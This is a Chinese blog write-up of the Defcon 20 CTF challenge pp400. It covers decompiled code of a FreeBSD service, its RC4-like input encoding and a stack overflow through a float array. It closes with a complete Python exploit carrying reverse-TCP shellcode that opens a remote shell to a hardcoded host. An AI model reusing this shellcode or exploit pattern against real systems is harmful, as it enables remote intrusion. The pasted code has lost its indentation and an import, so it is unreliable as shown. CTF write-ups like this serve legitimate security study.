Defcon 20 pp400 writeup

运行环境freebsd 9.0,本地调试需爆破的地方:
v2 = accept(a1, 0, 0);
while ( v2 == -1 );
v3 = fork();
}
while ( v3 == -1 );
if ( !v3 )
{
sub_8049630(“pp400”);
close(a1);

连接之后还有一个字符串验证:
if ( v4 && fgets(&s1, 32, v4) && !strcmp(&s1, “b366e2776ce9efff\n”) )
{
sub_8049030(v4);
fclose(v4);
v2 = 0;
}
溢出的地方:
void __cdecl sub_8049030(FILE *a1)
{
float v1; // [sp+18h] [bp-228h]@15
float v2[128]; // [sp+20h] [bp-220h]@2
char v3; // [sp+222h] [bp-1Eh]@1
char i; // [sp+223h] [bp-1Dh]@8
float v5; // [sp+224h] [bp-1Ch]@1
float v6; // [sp+228h] [bp-18h]@1
float v7; // [sp+22Ch] [bp-14h]@8
float v8; // [sp+230h] [bp-10h]@8
float v9; // [sp+234h] [bp-Ch]@11
float v10; // [sp+238h] [bp-8h]@11
float v11; // [sp+23Ch] [bp-4h]@11
v3 = 0;
v5 = 0.0;
v6 = 10000.0;
fwrite(“Welcome to DDTEK Secure Global Warming and Fukushima impact\n”, 1u, 0x3Cu, a1);
fwrite(“predictorator! Please enter your kelvin adjusted climate data\n”, 1u, 0x3Eu, a1);
fwrite(“for our algorithms to chew on:\n”, 1u, 0x1Fu, a1);
fflush(a1);
while ( sub_8048DE0(a1, (int)v2, v3) != 0.0 )
{
if ( v2[v3] > (long double)v5 )
v5 = v2[v3];
if ( v6 > (long double)v2[v3] )
v6 = v2[v3];
++v3;
}
v2只有128个float=512字节,上面的循环以sub_8048DE0函数的返回值为0.0为退出条件,我们可以控制输入数据使其不为0.0,就可以写入v2 128偏移以外的地方,从而实现溢出。
下面看sub_8048DE0这个关键的函数:
long double __cdecl sub_8048DE0(FILE *a1, int a2, char a3)
{
int v4; // [sp+24h] [bp-98h]@1
char v5[128]; // [sp+28h] [bp-94h]@1
char *i; // [sp+A8h] [bp-14h]@1
int v7; // [sp+ACh] [bp-10h]@9
char v8; // [sp+B3h] [bp-9h]@10

v4 = 0;
for ( i = fgets(v5, 128, a1); i && *i != 10; ++i )
{
if ( (unsigned __int8)i & 1 )
v5[(signed int)(i – v5) / 2] |= sub_8048D70(*i);
else
v5[(signed int)(i – v5) / 2] = 16 * sub_8048D70(*i);
}

if ( i )
{
v7 = (signed int)(i – v5) / 2;
v5[(signed int)(i – v5) / 2] = 0;
–v7;
while ( v7 >= 0 )
{
v8 = sub_8048C70();
v5[v7] ^= v8;

–v7;
}
sscanf(v5, “%f”, &v4);
}
*(_DWORD *)(a2 + 4 * a3) = v4;
return *(float *)(a2 + 4 * a3);
}

for循环接收一个字符串,然后将0-9,a-f,A-F中的字符两两转化为一个字节,如将”aa”转化为0xaa,然后与sub_8048C70函数返回的一个字节的key值模一下,得到一个字符串,如”3.1415″,然后用sscanf函数将字符串中的浮点数提取出来,存储到上面提到的溢出的浮点数组对应偏移的地方并返回这个浮点值与0.0进行比较。
现在这个key值是关键,sub_8048C70函数如下:
int __cdecl sub_8048C70()
{
int v0; // ST08_4@1
char v1; // ST0E_1@1

v0 = (int)byte_804ACC0;
++byte_804ACC0[256];
*(_BYTE *)(v0 + 257) += *(_BYTE *)(v0 + *(_BYTE *)(v0 + 256));
v1 = *(_BYTE *)(v0 + *(_BYTE *)(v0 + 256));
*(_BYTE *)(v0 + *(_BYTE *)(v0 + 256)) = *(_BYTE *)(v0 + *(_BYTE *)(v0 + 257));
*(_BYTE *)(v0 + *(_BYTE *)(v0 + 257)) = v1;
return byte_804ACC0[(unsigned __int8)(*(_BYTE *)(v0 + *(_BYTE *)(v0 + 256)) + *(_BYTE *)(v0 + *(_BYTE *)(v0 + 257)))];
}

对byte_804ACC0这个全局的数组进行了一串眼花缭乱的操作,byte_804ACC0的声明如下:
.bss:0804ACC0 ; _BYTE byte_804ACC0[260]
.bss:0804ACC0 byte_804ACC0    db 104h dup(?)          ; DATA XREF: sub_8048B50+3o
我们发现它有两处引用
Up o sub_8048B50+3 mov     [esp+10h+var_C], offset byte_804ACC0
Up o sub_8048C70+3 mov     [esp+10h+var_8], offset byte_804ACC0
一处就是刚才提到的地方,另一处如下:
_BYTE *__cdecl sub_8048B50()
{
char v0; // ST0F_1@5
_BYTE *result; // eax@7
signed int i; // [sp+8h] [bp-8h]@1
signed int j; // [sp+8h] [bp-8h]@4
for ( i = 255; i >= 0; –i )
byte_804ACC0[255 – i] = i;
*(_WORD *)&byte_804ACC0[256] = 0;
for ( j = 0; j <= 255; ++j )
{
byte_804ACC0[257] += byte_804AC7C[byte_804ACC0[256] & 0xF] + byte_804ACC0[byte_804ACC0[256]];
v0 = byte_804ACC0[byte_804ACC0[256]];
byte_804ACC0[byte_804ACC0[256]] = byte_804ACC0[byte_804ACC0[257]];
byte_804ACC0[byte_804ACC0[257]] = v0;
}
result = &byte_804ACC0[256];
*(_WORD *)&byte_804ACC0[256] = 0;
return result;
}
原来就是在这个地方对它进行了初始化,红字是初始的key,定义如下:
.data:0804AC7C ; char byte_804AC7C[]
.data:0804AC7C  byte_804AC7C    db 0B6h                 ; DATA XREF: sub_8048B50+89r
.data:0804AC7D                 db  3Dh ; =
.data:0804AC7E                 db  15h
.data:0804AC7F                 db  3Ah ; :
.data:0804AC80                 db    4
.data:0804AC81                 db  15h
.data:0804AC82                 db  69h ; i
.data:0804AC83                 db  72h ; r
.data:0804AC84                 db  45h ; E
.data:0804AC85                 db 0FEh ; ?
.data:0804AC86                 db 0C2h ; ?
.data:0804AC87                 db  7Fh ; 
.data:0804AC88                 db  12h
.data:0804AC89                 db  78h ; x
.data:0804AC8A                 db 0D7h ; ?
.data:0804AC8B                 db  82h ; ?
.data:0804AC8B _data           ends
现在我们知道key是怎么来的了,也知道了程序的对数据的处理流程和溢出的地方,下面的工作就是编程构造发送数据和进行调试了,完整的python利用程序如下:

import sys,socket,time

target_ip = “140.197.217.155”
target_port = 4016

a=range(0,258)
for i in range(256):
a[i]=255-i
a[256]=0
a[257]=0

for i in range(256):
a[257] = (a[257] + 0xb6 + a[a[256]]) & 0xff;
b=a[a[256]]
a[a[256]]=a[a[257]]
a[a[257]]=b
a[256]=0
a[257]=0

sh_rev_tcp = (“\x68\x65\x05\xc8\x4c\x68\xff\x02\x04\xd2\x89\xe7\x31\xc0”
“\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50”
“\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\x90\x40\x48\xcd\x80\xff\x4f\xe8”
“\x79\xf3\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3”
“\x50\x54\x53\x50\xb0\x3b\xcd\x80”)

def dont():
a[256]=(a[256]+1) & 0xff
a[257]=(a[257] + a[a[256]]) & 0xff
b=a[a[256]]
a[a[256]]=a[a[257]]
a[a[257]]=b
key = a[(a[a[256]]+a[a[257]]) & 0xff]
print “key:”, key
return key

def encode(fstr):
length = len(fstr)
print “length:”, length
print “float: “+fstr

new_fstr = “”
i = length – 1
while i >= 0:
key = dont()
new_fstr = chr(ord(fstr[i]) ^ (key & 0xff)) + new_fstr
i -= 1
print(16, new_fstr)

hex_fstr = “”
for i in range(length):
hex_fstr += (“0x%0.2X” % ord(new_fstr[i]))[2:4]
hex_fstr = hex_fstr + “\n”
print “hex: “+hex_fstr
#hex_fstr += (127-len(hex_fstr))*”\n”
print(16, hex_fstr)
return hex_fstr

sc_db = “\x90″*20+sh_rev_tcp+”\x90″*(120-len(sh_rev_tcp))+”\xbc\xe9\xbf\xbf”* 250

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))

#time.sleep(30)

s.send(“b366e2776ce9efff”+”\n”)
print s.recv(1024)

for i in range(len(sc_db)/4):
print “float num:”, i
fstr = str(struct.unpack(‘f’, sc_db[i*4:i*4+4])[0])
hex_fstr = encode(fstr)
s.send(hex_fstr)
print “data sent:”
print(16, hex_fstr)

hex_fstr = encode(‘0.0’)
s.send(hex_fstr)

\xbc\xe9\xbf\xbf即0xbfbfe9bc是我们测出来的freebsd9下的覆盖地址。这个题是最后半小时之内才调试成功的,当时真的很惊险,事后我们知道sub_8048b50()处实际就是rc4加密,早知道可能有助于理解吧。
此条目发表在技术报告分类目录。将固定链接加入收藏夹。

评论功能已关闭。